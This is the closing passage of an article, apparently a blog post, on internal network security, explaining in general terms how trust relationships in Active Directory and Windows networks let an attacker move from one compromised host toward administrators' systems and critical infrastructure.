The above techniques represent some 10% of factors threatening the internal infrastructure and constitute only one-tenth of a standard hacker’s arsenal. Aside from them, it is necessary to mention software vulnerabilities and attacks targeting local area networks. Tons of subtle flows make the combination of Active Directory and Windows extremely vulnerable. From the attacker’s perspective, this environment provides favorable conditions for advancement because each of the hosts has trusting relationships with its neighbors. When one of such hosts is hacked, a hacking chain reaction begins, which ultimately brings the attacker to admin’s computers and servers and then to the automatic process control system or SWIFT. And the larger is the network, the more difficult it is to maintain it in good order, the higher is the chance to find a misconfiguration, and the higher is the cost of such an error.

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>